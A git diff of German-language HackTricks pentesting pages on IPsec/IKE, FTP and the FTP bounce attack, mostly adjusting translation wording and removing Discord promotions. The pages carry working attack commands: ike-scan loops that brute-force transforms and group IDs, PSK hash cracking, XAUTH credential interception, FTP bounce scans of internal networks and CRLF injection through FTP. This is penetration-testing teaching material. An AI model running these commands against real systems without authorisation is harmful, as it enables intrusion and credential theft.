- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Grundinformationen **IPsec** wird weithin als die Haupttechnologie zur Sicherung der Kommunikation zwischen Netzwerken (LAN-zu-LAN) und von entfernten Benutzern zum Netzwerkgateway (Remote-Zugriff) anerkannt und dient als Rückgrat für Unternehmens-VPN-Lösungen. Die Einrichtung einer **Sicherheitsassoziation (SA)** zwischen zwei Punkten wird von **IKE** verwaltet, das unter dem Dach von ISAKMP arbeitet, einem Protokoll, das für die Authentifizierung und den Schlüsselaustausch entwickelt wurde. Dieser Prozess verläuft in mehreren Phasen: -* **Phase 1:** Ein sicherer Kanal wird zwischen zwei Endpunkten erstellt. Dies geschieht durch die Verwendung eines Pre-Shared Key (PSK) oder von Zertifikaten, wobei entweder der Hauptmodus verwendet wird, der drei Nachrichtenpaare umfasst, oder **aggressiver Modus**. +* **Phase 1:** Ein sicherer Kanal wird zwischen zwei Endpunkten erstellt. Dies geschieht durch die Verwendung eines Pre-Shared Key (PSK) oder von Zertifikaten, wobei entweder der Hauptmodus, der drei Nachrichtenpaare umfasst, oder **aggressiver Modus** verwendet wird. * **Phase 1.5:** Obwohl nicht obligatorisch, verifiziert diese Phase, bekannt als die Erweiterte Authentifizierungsphase, die Identität des Benutzers, der sich verbinden möchte, indem ein Benutzername und ein Passwort erforderlich sind. -* **Phase 2:** Diese Phase ist der Aushandlung der Parameter zur Sicherung von Daten mit **ESP** und **AH** gewidmet. Sie ermöglicht die Verwendung von Algorithmen, die sich von denen in Phase 1 unterscheiden, um **Perfect Forward Secrecy (PFS)** zu gewährleisten und die Sicherheit zu erhöhen. +* **Phase 2:** Diese Phase ist der Aushandlung der Parameter zur Sicherung von Daten mit **ESP** und **AH** gewidmet. Sie ermöglicht die Verwendung von Algorithmen, die sich von denen in Phase 1 unterscheiden, um **Perfect Forward Secrecy (PFS)** zu gewährleisten, was die Sicherheit erhöht. **Standardport:** 500/udp @@ -50,7 +42,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems) Die IPSec-Konfiguration kann so vorbereitet werden, dass sie nur eine oder einige wenige Transformationen akzeptiert. Eine Transformation ist eine Kombination von Werten. **Jede Transformation** enthält eine Anzahl von Attributen wie DES oder 3DES als **Verschlüsselungsalgorithmus**, SHA oder MD5 als **Integritätsalgorithmus**, einen Pre-Shared Key als **Authentifizierungstyp**, Diffie-Hellman 1 oder 2 als **Schlüsselverteilungsalgorithmus** und 28800 Sekunden als **Lebensdauer**. -Dann ist das Erste, was Sie tun müssen, **eine gültige Transformation zu finden**, damit der Server mit Ihnen kommuniziert. Dazu können Sie das Tool **ike-scan** verwenden. Standardmäßig arbeitet Ike-scan im Hauptmodus und sendet ein Paket an das Gateway mit einem ISAKMP-Header und einem einzelnen Vorschlag mit **acht Transformationen darin**. +Dann ist das Erste, was Sie tun müssen, **eine gültige Transformation zu finden**, damit der Server mit Ihnen kommuniziert. Dazu können Sie das Tool **ike-scan** verwenden. Standardmäßig arbeitet Ike-scan im Hauptmodus und sendet ein Paket an das Gateway mit einem ISAKMP-Header und einem einzigen Vorschlag mit **acht Transformationen darin**. Je nach Antwort können Sie einige Informationen über den Endpunkt erhalten: ``` @@ -63,20 +55,20 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify ``` -As you can see in the previous response, there is a field called **AUTH** with the value **PSK**. This means that the vpn is configured using a preshared key (and this is really good for a pentester).\ +Wie Sie in der vorherigen Antwort sehen können, gibt es ein Feld namens **AUTH** mit dem Wert **PSK**. Das bedeutet, dass das VPN mit einem gemeinsamen Schlüssel konfiguriert ist (und das ist wirklich gut für einen Pentester).\ **Der Wert der letzten Zeile ist ebenfalls sehr wichtig:** -* _0 zurückgegebene Handshake; 0 zurückgegebene Benachrichtigung:_ Das bedeutet, dass das Ziel **kein IPsec-Gateway** ist. -* _**1 zurückgegebene Handshake; 0 zurückgegebene Benachrichtigung:**_ Das bedeutet, dass das **Ziel für IPsec konfiguriert ist und bereit ist, IKE-Verhandlungen durchzuführen, und entweder eine oder mehrere der von Ihnen vorgeschlagenen Transformationen akzeptabel sind** (eine gültige Transformation wird in der Ausgabe angezeigt). -* _0 zurückgegebene Handshake; 1 zurückgegebene Benachrichtigung:_ VPN-Gateways antworten mit einer Benachrichtigungsnachricht, wenn **keine der Transformationen akzeptabel ist** (obwohl einige Gateways dies nicht tun, in diesem Fall sollten weitere Analysen und ein überarbeiteter Vorschlag versucht werden). +* _0 zurückgegebener Handshake; 0 zurückgegebene Benachrichtigung:_ Das bedeutet, dass das Ziel **kein IPsec-Gateway** ist. +* _**1 zurückgegebener Handshake; 0 zurückgegebene Benachrichtigung:**_ Das bedeutet, dass das **Ziel für IPsec konfiguriert ist und bereit ist, IKE-Verhandlungen durchzuführen, und entweder eine oder mehrere der von Ihnen vorgeschlagenen Transformationen akzeptabel sind** (eine gültige Transformation wird in der Ausgabe angezeigt). +* _0 zurückgegebener Handshake; 1 zurückgegebene Benachrichtigung:_ VPN-Gateways antworten mit einer Benachrichtigungsnachricht, wenn **keine der Transformationen akzeptabel ist** (obwohl einige Gateways dies nicht tun, in diesem Fall sollten weitere Analysen und ein überarbeiteter Vorschlag versucht werden). -Dann haben wir in diesem Fall bereits eine gültige Transformation, aber wenn Sie im 3. Fall sind, müssen Sie **ein wenig brute-forcen, um eine gültige Transformation zu finden:** +In diesem Fall haben wir bereits eine gültige Transformation, aber wenn Sie im 3. Fall sind, müssen Sie **ein wenig brute-forcen, um eine gültige Transformation zu finden:** Zuerst müssen Sie alle möglichen Transformationen erstellen: ```bash for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done ``` -Und dann jede einzelne mit ike-scan brute-forcen (das kann mehrere Minuten dauern): +Und dann jede einzelne mit ike-scan brute-forcen (dies kann mehrere Minuten dauern): ```bash while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line ) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt ``` @@ -99,7 +91,7 @@ Cisco empfiehlt, die Verwendung von DH-Gruppen 1 und 2 zu vermeiden, da sie nich ### Server-Fingerprinting -Dann können Sie ike-scan verwenden, um zu versuchen, **den Anbieter** des Geräts zu **entdecken**. Das Tool sendet einen ersten Vorschlag und hört auf zu wiederholen. Dann wird es die **Zeit**-Differenz **zwischen** den empfangenen **Nachrichten** vom Server und dem passenden Antwortmuster analysieren, sodass der Pentester erfolgreich den VPN-Gateway-Anbieter identifizieren kann. Darüber hinaus verwenden einige VPN-Server die optionale **Vendor ID (VID) Payload** mit IKE. +Dann können Sie ike-scan verwenden, um zu versuchen, **den Anbieter** des Geräts zu **entdecken**. Das Tool sendet einen anfänglichen Vorschlag und hört auf zu wiederholen. Dann wird es die **Zeit**-Differenz **zwischen** den empfangenen **Nachrichten** vom Server und dem passenden Antwortmuster analysieren, sodass der Pentester erfolgreich den VPN-Gateway-Anbieter identifizieren kann. Darüber hinaus verwenden einige VPN-Server die optionale **Vendor ID (VID) Payload** mit IKE. **Geben Sie die gültige Transformation an, falls erforderlich** (unter Verwendung von --trans) @@ -127,7 +119,7 @@ Dies kann auch mit dem nmap-Skript _**ike-version**_ erreicht werden. ## Finden der richtigen ID (Gruppenname) -Um den Hash erfassen zu können, benötigen Sie eine gültige Transformation, die den Aggressive-Modus unterstützt, und die richtige ID (Gruppenname). Wahrscheinlich kennen Sie den gültigen Gruppennamen nicht, daher müssen Sie ihn brute-forcen.\ +Um den Hash erfassen zu dürfen, benötigen Sie eine gültige Transformation, die den Aggressive-Modus unterstützt, und die richtige ID (Gruppenname). Wahrscheinlich kennen Sie den gültigen Gruppennamen nicht, daher müssen Sie ihn brute-forcen.\ Dazu empfehle ich Ihnen 2 Methoden: ### Bruteforcing ID mit ike-scan @@ -150,7 +142,7 @@ Du kannst das [Wörterbuch von ikeforce](https://github.com/SpiderLabs/ikeforce/ ```bash while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line ) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt ``` -Or use this dict (ist eine Kombination der anderen 2 Diktate ohne Wiederholungen): +Or use this dict (ist eine Kombination der anderen 2 Dictionnaires ohne Wiederholungen): {% file src="../.gitbook/assets/vpnIDs.txt" %} @@ -160,14 +152,14 @@ Or use this dict (ist eine Kombination der anderen 2 Diktate ohne Wiederholungen ### Bruteforcing ID mit ikeforce -[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) ist ein Tool, das ebenfalls verwendet werden kann, um **IDs zu bruteforcen**. Dieses Tool wird **versuchen, verschiedene Schwachstellen auszunutzen**, die verwendet werden könnten, um **zwischen einer gültigen und einer ungültigen ID zu unterscheiden** (kann falsche Positiv- und Negativmeldungen haben, deshalb bevorzuge ich die Verwendung der ike-scan-Methode, wenn möglich). +[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) ist ein Tool, das ebenfalls verwendet werden kann, um **IDs zu bruteforcen**. Dieses Tool wird **versuchen, verschiedene Schwachstellen auszunutzen**, die verwendet werden könnten, um **zwischen einer gültigen und einer ungültigen ID zu unterscheiden** (kann falsche Positiv- und Negativ-Ergebnisse haben, deshalb bevorzuge ich die Verwendung der ike-scan-Methode, wenn möglich). Standardmäßig wird **ikeforce** zu Beginn einige zufällige IDs senden, um das Verhalten des Servers zu überprüfen und die Taktik zu bestimmen, die verwendet werden soll. * Die **erste Methode** besteht darin, die Gruppennamen durch **Suche** nach den Informationen **Dead Peer Detection DPD** von Cisco-Systemen zu bruteforcen (diese Informationen werden nur vom Server wiedergegeben, wenn der Gruppenname korrekt ist). * Die **zweite Methode**, die verfügbar ist, besteht darin, **die Anzahl der Antworten zu überprüfen, die auf jeden Versuch gesendet werden**, da manchmal mehr Pakete gesendet werden, wenn die korrekte ID verwendet wird. * Die **dritte Methode** besteht darin, nach **"INVALID-ID-INFORMATION" als Antwort auf eine falsche ID zu suchen**. -* Schließlich, wenn der Server auf die Überprüfungen nichts zurücksendet, wird **ikeforce** versuchen, den Server zu bruteforcen und zu überprüfen, ob der Server bei der korrekten ID mit einem Paket antwortet.\ +* Schließlich, wenn der Server auf die Überprüfungen nichts zurücksendet, wird **ikeforce** versuchen, den Server zu bruteforcen und zu überprüfen, ob der Server mit einem Paket antwortet, wenn die korrekte ID gesendet wird.\ Offensichtlich besteht das Ziel des Bruteforcens der ID darin, den **PSK** zu erhalten, wenn Sie eine gültige ID haben. Dann müssen Sie mit der **ID** und dem **PSK** den XAUTH bruteforcen (wenn er aktiviert ist). Wenn Sie eine spezifische Transformation entdeckt haben, fügen Sie sie im ikeforce-Befehl hinzu. Und wenn Sie mehrere Transformationen entdeckt haben, können Sie gerne eine neue Schleife hinzufügen, um sie alle auszuprobieren (Sie sollten sie alle ausprobieren, bis eine von ihnen richtig funktioniert). @@ -201,7 +193,7 @@ psk-crack -d psk.txt **Aggressiver Modus IKE** kombiniert mit einem **Pre-Shared Key (PSK)** wird häufig für **Gruppenauthentifizierung** verwendet. Diese Methode wird durch **XAuth (Erweiterte Authentifizierung)** ergänzt, die eine zusätzliche Schicht der **Benutzerauthentifizierung** einführt. Diese Authentifizierung nutzt typischerweise Dienste wie **Microsoft Active Directory**, **RADIUS** oder vergleichbare Systeme. -Beim Übergang zu **IKEv2** ist ein bemerkenswerter Wandel zu beobachten, bei dem **EAP (Extensible Authentication Protocol)** anstelle von **XAuth** zur Authentifizierung von Benutzern verwendet wird. Diese Änderung unterstreicht eine Evolution der Authentifizierungspraktiken innerhalb sicherer Kommunikationsprotokolle. +Beim Übergang zu **IKEv2** ist ein bemerkenswerter Wandel zu beobachten, bei dem **EAP (Erweiterbares Authentifizierungsprotokoll)** anstelle von **XAuth** zur Authentifizierung von Benutzern verwendet wird. Diese Änderung unterstreicht eine Evolution der Authentifizierungspraktiken innerhalb sicherer Kommunikationsprotokolle. ### Lokales Netzwerk MitM zur Erfassung von Anmeldeinformationen @@ -239,7 +231,7 @@ root@system:~# vpnc samplevpn VPNC started in background (pid: [PID])... root@system:~# ifconfig tun0 ``` -In diesem Setup: +In dieser Konfiguration: * Ersetzen Sie `[VPN_GATEWAY_IP]` durch die tatsächliche IP-Adresse des VPN-Gateways. * Ersetzen Sie `[VPN_CONNECTION_ID]` durch die Kennung für die VPN-Verbindung. @@ -254,17 +246,12 @@ Stellen Sie sicher, dass tatsächliche, sichere Werte verwendet werden, um die P * [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf) * [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821) * [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf) -* Network Security Assessment 3rd Edition +* Network Security Assessment 3. Auflage ## Shodan * `port:500 IKE` -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/network-services-pentesting/pentesting-ftp/README.md b/network-services-pentesting/pentesting-ftp/README.md index b0134a17c..f6b5bef32 100644 --- a/network-services-pentesting/pentesting-ftp/README.md +++ b/network-services-pentesting/pentesting-ftp/README.md @@ -1,32 +1,24 @@ # 21 - Pentesting FTP {% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Grundinformationen Das **File Transfer Protocol (FTP)** dient als Standardprotokoll für den Dateitransfer über ein Computernetzwerk zwischen einem Server und einem Client.\ -Es ist ein **Klartext**-Protokoll, das als **neues Zeilenzeichen `0x0d 0x0a`** verwendet wird, sodass Sie manchmal **mit `telnet`** oder **`nc -C`** **verbinden müssen**. +Es ist ein **Klartext**-Protokoll, das als **neues Zeilenzeichen `0x0d 0x0a`** verwendet, sodass Sie manchmal **mit `telnet`** oder **`nc -C`** **verbinden müssen**. **Standardport:** 21 ``` @@ -35,11 +27,11 @@ PORT STATE SERVICE ``` ### Verbindungen Aktiv & Passiv -In **Aktiv FTP** initiiert der FTP **Client** zuerst die Steuerungs-**verbindung** von seinem Port N zum Befehlsport des FTP-Servers – Port 21. Der **Client** hört dann auf Port **N+1** und sendet den Port N+1 an den FTP-Server. Der FTP **Server** initiiert dann die Daten-**verbindung** von **seinem Port M zum Port N+1** des FTP-Clients. +In **Aktivem FTP** initiiert der FTP **Client** zuerst die Steuerungs-**verbindung** von seinem Port N zum Befehlsport des FTP-Servers – Port 21. Der **Client** hört dann auf Port **N+1** und sendet den Port N+1 an den FTP-Server. Der FTP-**Server** initiiert dann die Daten-**verbindung** von **seinem Port M zum Port N+1** des FTP-Clients. Wenn der FTP-Client jedoch eine Firewall eingerichtet hat, die die eingehenden Datenverbindungen von außen kontrolliert, kann aktives FTP ein Problem darstellen. Eine praktikable Lösung dafür ist passives FTP. -In **Passiv FTP** initiiert der Client die Steuerungsverbindung von seinem Port N zum Port 21 des FTP-Servers. Danach gibt der Client einen **passv Befehl** aus. Der Server sendet dann dem Client eine seiner Portnummern M. Und der **Client** **initiiert** die Daten-**verbindung** von **seinem Port P zu Port M** des FTP-Servers. +In **passivem FTP** initiiert der Client die Steuerungsverbindung von seinem Port N zum Port 21 des FTP-Servers. Danach gibt der Client einen **passv-Befehl** aus. Der Server sendet dann dem Client eine seiner Portnummern M. Und der **Client** **initiiert** die Daten-**verbindung** von **seinem Port P zum Port M** des FTP-Servers. Quelle: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) @@ -49,7 +41,7 @@ Die **FTP**-Befehle **`debug`** und **`trace`** können verwendet werden, um zu ## Enumeration -### Banner Grabbing +### Banner-Grabbing ```bash nc -vn 21 openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any @@ -136,7 +128,7 @@ Sie können sich mit einem FTP-Server über einen Browser (wie Firefox) mit eine ```bash ftp://anonymous:anonymous@10.10.10.98 ``` -Beachten Sie, dass wenn eine **Webanwendung** Daten, die von einem Benutzer kontrolliert werden, **direkt an einen FTP-Server** sendet, Sie doppelte URL-Codierung `%0d%0a` (in doppelter URL-Codierung ist dies `%250d%250a`) Bytes senden können und den **FTP-Server dazu bringen**, willkürliche Aktionen auszuführen. Eine dieser möglichen willkürlichen Aktionen besteht darin, Inhalte von einem vom Benutzer kontrollierten Server herunterzuladen, Port-Scans durchzuführen oder zu versuchen, mit anderen auf Klartext basierenden Diensten (wie http) zu kommunizieren. +Beachten Sie, dass wenn eine **Webanwendung** Daten, die von einem Benutzer kontrolliert werden, **direkt an einen FTP-Server** sendet, Sie doppelte URL-Codierung `%0d%0a` (in doppelter URL-Codierung ist dies `%250d%250a`) Bytes senden können und den **FTP-Server dazu bringen können, willkürliche Aktionen** auszuführen. Eine dieser möglichen willkürlichen Aktionen besteht darin, Inhalte von einem vom Benutzer kontrollierten Server herunterzuladen, Port-Scans durchzuführen oder zu versuchen, mit anderen auf Klartext basierenden Diensten (wie http) zu kommunizieren. ## Alle Dateien vom FTP herunterladen ```bash @@ -152,7 +144,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ * **`USER benutzername`** * **`PASS passwort`** * **`HELP`** Der Server zeigt an, welche Befehle unterstützt werden -* \*\*`PORT 127,0,0,1,0,80`\*\* Dies wird dem FTP-Server anzeigen, eine Verbindung mit der IP 127.0.0.1 an Port 80 herzustellen (_Sie müssen das 5. Zeichen als "0" und das 6. als den Port im Dezimalformat angeben oder das 5. und 6. Zeichen verwenden, um den Port im Hexadezimalformat auszudrücken_). +* \*\*`PORT 127,0,0,1,0,80`\*\* Dies wird dem FTP-Server anzeigen, eine Verbindung mit der IP 127.0.0.1 an Port 80 herzustellen (_du musst das 5. Zeichen als "0" und das 6. als den Port im Dezimalformat angeben oder das 5. und 6. Zeichen verwenden, um den Port im Hexadezimalformat auszudrücken_). * \*\*`EPRT |2|127.0.0.1|80|`\*\* Dies wird dem FTP-Server anzeigen, eine TCP-Verbindung (_angezeigt durch "2"_) mit der IP 127.0.0.1 an Port 80 herzustellen. Dieser Befehl **unterstützt IPv6**. * **`LIST`** Dies sendet die Liste der Dateien im aktuellen Ordner * **`LIST -R`** Liste rekursiv (wenn vom Server erlaubt) @@ -161,42 +153,42 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ * **`STOU /path/something.txt`** Wie `APPE`, aber wenn sie existiert, wird nichts unternommen. * **`RETR /path/to/file`** Eine passive oder eine Portverbindung muss hergestellt werden. Dann sendet der FTP-Server die angegebene Datei über diese Verbindung * **`REST 6`** Dies wird dem Server anzeigen, dass er beim nächsten Mal, wenn er etwas mit `RETR` sendet, im 6. Byte beginnen soll. -* **`TYPE i`** Setzt die Übertragung auf binär +* **`TYPE i`** Setze den Transfer auf binär * **`PASV`** Dies öffnet eine passive Verbindung und zeigt dem Benutzer, wo er sich verbinden kann -* **`PUT /tmp/file.txt`** Hochladen der angegebenen Datei auf das FTP +* **`PUT /tmp/file.txt`** Lade die angegebene Datei auf den FTP hoch ![](<../../.gitbook/assets/image (386).png>) ## FTPBounce-Angriff -Einige FTP-Server erlauben den Befehl PORT. Dieser Befehl kann verwendet werden, um dem Server anzuzeigen, dass Sie sich mit einem anderen FTP-Server an einem bestimmten Port verbinden möchten. Dann können Sie dies verwenden, um zu scannen, welche Ports eines Hosts über einen FTP-Server geöffnet sind. +Einige FTP-Server erlauben den Befehl PORT. Dieser Befehl kann verwendet werden, um dem Server anzuzeigen, dass du dich mit einem anderen FTP-Server an einem bestimmten Port verbinden möchtest. Dann kannst du dies verwenden, um zu scannen, welche Ports eines Hosts über einen FTP-Server offen sind. [**Hier lernen, wie man einen FTP-Server missbraucht, um Ports zu scannen.**](ftp-bounce-attack.md) -Sie könnten dieses Verhalten auch ausnutzen, um einen FTP-Server mit anderen Protokollen interagieren zu lassen. Sie könnten **eine Datei hochladen, die eine HTTP-Anfrage enthält** und den anfälligen FTP-Server **dazu bringen, sie an einen beliebigen HTTP-Server zu senden** (_vielleicht um einen neuen Admin-Benutzer hinzuzufügen?_) oder sogar eine FTP-Anfrage hochladen und den anfälligen FTP-Server dazu bringen, eine Datei von einem anderen FTP-Server herunterzuladen.\ +Du könntest dieses Verhalten auch ausnutzen, um einen FTP-Server mit anderen Protokollen interagieren zu lassen. Du könntest **eine Datei hochladen, die eine HTTP-Anfrage enthält** und den anfälligen FTP-Server **dazu bringen, sie an einen beliebigen HTTP-Server zu senden** (_vielleicht um einen neuen Admin-Benutzer hinzuzufügen?_) oder sogar eine FTP-Anfrage hochladen und den anfälligen FTP-Server dazu bringen, eine Datei von einem anderen FTP-Server herunterzuladen.\ Die Theorie ist einfach: -1. **Laden Sie die Anfrage (in einer Textdatei) auf den anfälligen Server hoch.** Denken Sie daran, dass Sie, wenn Sie mit einem anderen HTTP- oder FTP-Server kommunizieren möchten, die Zeilen mit `0x0d 0x0a` ändern müssen. -2. **Verwenden Sie `REST X`, um das Senden der Zeichen zu vermeiden, die Sie nicht senden möchten** (vielleicht um die Anfrage in die Datei hochzuladen, mussten Sie am Anfang einige Bildheader einfügen). -3. **Verwenden Sie `PORT`, um sich mit dem beliebigen Server und Dienst zu verbinden.** -4. **Verwenden Sie `RETR`, um die gespeicherte Anfrage an den Server zu senden.** +1. **Lade die Anfrage (in einer Textdatei) auf den anfälligen Server hoch.** Denk daran, dass du, wenn du mit einem anderen HTTP- oder FTP-Server kommunizieren möchtest, die Zeilen mit `0x0d 0x0a` ändern musst. +2. **Verwende `REST X`, um das Senden der Zeichen zu vermeiden, die du nicht senden möchtest** (vielleicht musstest du, um die Anfrage in die Datei hochzuladen, einige Bildheader am Anfang hinzufügen). +3. **Verwende `PORT`, um dich mit dem beliebigen Server und Dienst zu verbinden.** +4. **Verwende `RETR`, um die gespeicherte Anfrage an den Server zu senden.** -Es ist sehr wahrscheinlich, dass dies **einen Fehler wie** _**Socket nicht beschreibbar**_ **auslöst, weil die Verbindung nicht lange genug dauert, um die Daten mit `RETR` zu senden**. Vorschläge, um dies zu vermeiden, sind: +Es ist sehr wahrscheinlich, dass dies **einen Fehler wie** _**Socket nicht beschreibbar**_ **auslöst, weil die Verbindung nicht lange genug dauert, um die Daten mit `RETR` zu senden**. Vorschläge, um das zu vermeiden, sind: -* Wenn Sie eine HTTP-Anfrage senden, **setzen Sie die gleiche Anfrage nacheinander** bis **\~0,5 MB** mindestens. So: +* Wenn du eine HTTP-Anfrage sendest, **setze die gleiche Anfrage nacheinander** bis **\~0.5MB** mindestens. So: {% file src="../../.gitbook/assets/posts.txt" %} posts.txt {% endfile %} -* Versuchen Sie, **die Anfrage mit "Müll"-Daten, die sich auf das Protokoll beziehen, zu füllen** (bei FTP vielleicht nur Müllbefehle oder die `RETR`-Anweisung wiederholen, um die Datei zu erhalten). -* Füllen Sie die Anfrage einfach **mit vielen Nullzeichen oder anderen** (getrennt in Zeilen oder nicht). +* Versuche, die Anfrage mit "Müll"-Daten, die sich auf das Protokoll beziehen, zu **füllen** (wenn du mit FTP sprichst, vielleicht nur Müllbefehle oder wiederhole die `RETR`-Anweisung, um die Datei zu erhalten). +* Fülle die Anfrage einfach mit vielen Nullzeichen oder anderen **(getrennt in Zeilen oder nicht)**. -Wie auch immer, hier haben Sie ein [altes Beispiel, wie man dies missbraucht, um einen FTP-Server eine Datei von einem anderen FTP-Server herunterladen zu lassen.](ftp-bounce-download-2oftp-file.md) +Wie auch immer, hier hast du ein [altes Beispiel, wie man dies missbrauchen kann, um einen FTP-Server eine Datei von einem anderen FTP-Server herunterladen zu lassen.](ftp-bounce-download-2oftp-file.md) ## Filezilla-Server-Sicherheitsanfälligkeit -**FileZilla** bindet normalerweise **lokal** einen **Administrationsdienst** für den **FileZilla-Server** (Port 14147). Wenn Sie einen **Tunnel** von **Ihrem Rechner** zu diesem Port erstellen können, können Sie sich mit einem **leeren Passwort** verbinden und einen **neuen Benutzer** für den FTP-Dienst erstellen. +**FileZilla** bindet normalerweise an **lokal** einen **Administrationsdienst** für den **FileZilla-Server** (Port 14147). Wenn du einen **Tunnel** von **deinem Rechner** zu diesem Port erstellen kannst, kannst du dich mit einem **leeren Passwort** verbinden und einen **neuen Benutzer** für den FTP-Dienst erstellen. ## Konfigurationsdateien ``` @@ -224,17 +216,8 @@ Die Standardkonfiguration von vsFTPd kann in `/etc/vsftpd.conf` gefunden werden. * `ftp` * `port:21` -*** -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -## HackTricks Automatic Commands +## HackTricks Automatische Befehle ``` Protocol_Name: FTP #Protocol Abbreviation if there is one. Port_Number: 21 #Comma separated if there is more than one. diff --git a/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md b/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md index 58f1af3f6..55756693f 100644 --- a/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md +++ b/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md @@ -15,25 +15,17 @@ Lernen & üben Sie GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## FTP Bounce - Scanning ### Manuell 1. Verbinden Sie sich mit dem anfälligen FTP -2. Verwenden Sie **`PORT`** oder **`EPRT`** (aber nur eines von beiden), um eine Verbindung mit der _\_ herzustellen, die Sie scannen möchten: +2. Verwenden Sie \*\*`PORT`\*\* oder **`EPRT`** (aber nur eines von beiden), um eine Verbindung mit dem _\_ herzustellen, den Sie scannen möchten: `PORT 172,32,80,80,0,8080`\ `EPRT |2|172.32.80.80|8080|` 3. Verwenden Sie **`LIST`** (dies sendet nur die Liste der aktuellen Dateien im FTP-Ordner an die verbundene _\_) und überprüfen Sie die möglichen Antworten: `150 File status okay` (Das bedeutet, der Port ist offen) oder `425 No connection established` (Das bedeutet, der Port ist geschlossen) -1. Anstelle von `LIST` könnten Sie auch **`RETR /file/in/ftp`** verwenden und nach ähnlichen `Open/Close`-Antworten suchen. +4. Anstelle von `LIST` könnten Sie auch **`RETR /file/in/ftp`** verwenden und nach ähnlichen `Open/Close`-Antworten suchen. Beispiel mit **PORT** (Port 8080 von 172.32.80.80 ist offen und Port 7777 ist geschlossen): @@ -53,23 +45,17 @@ nmap -b :@ nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443 ``` -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
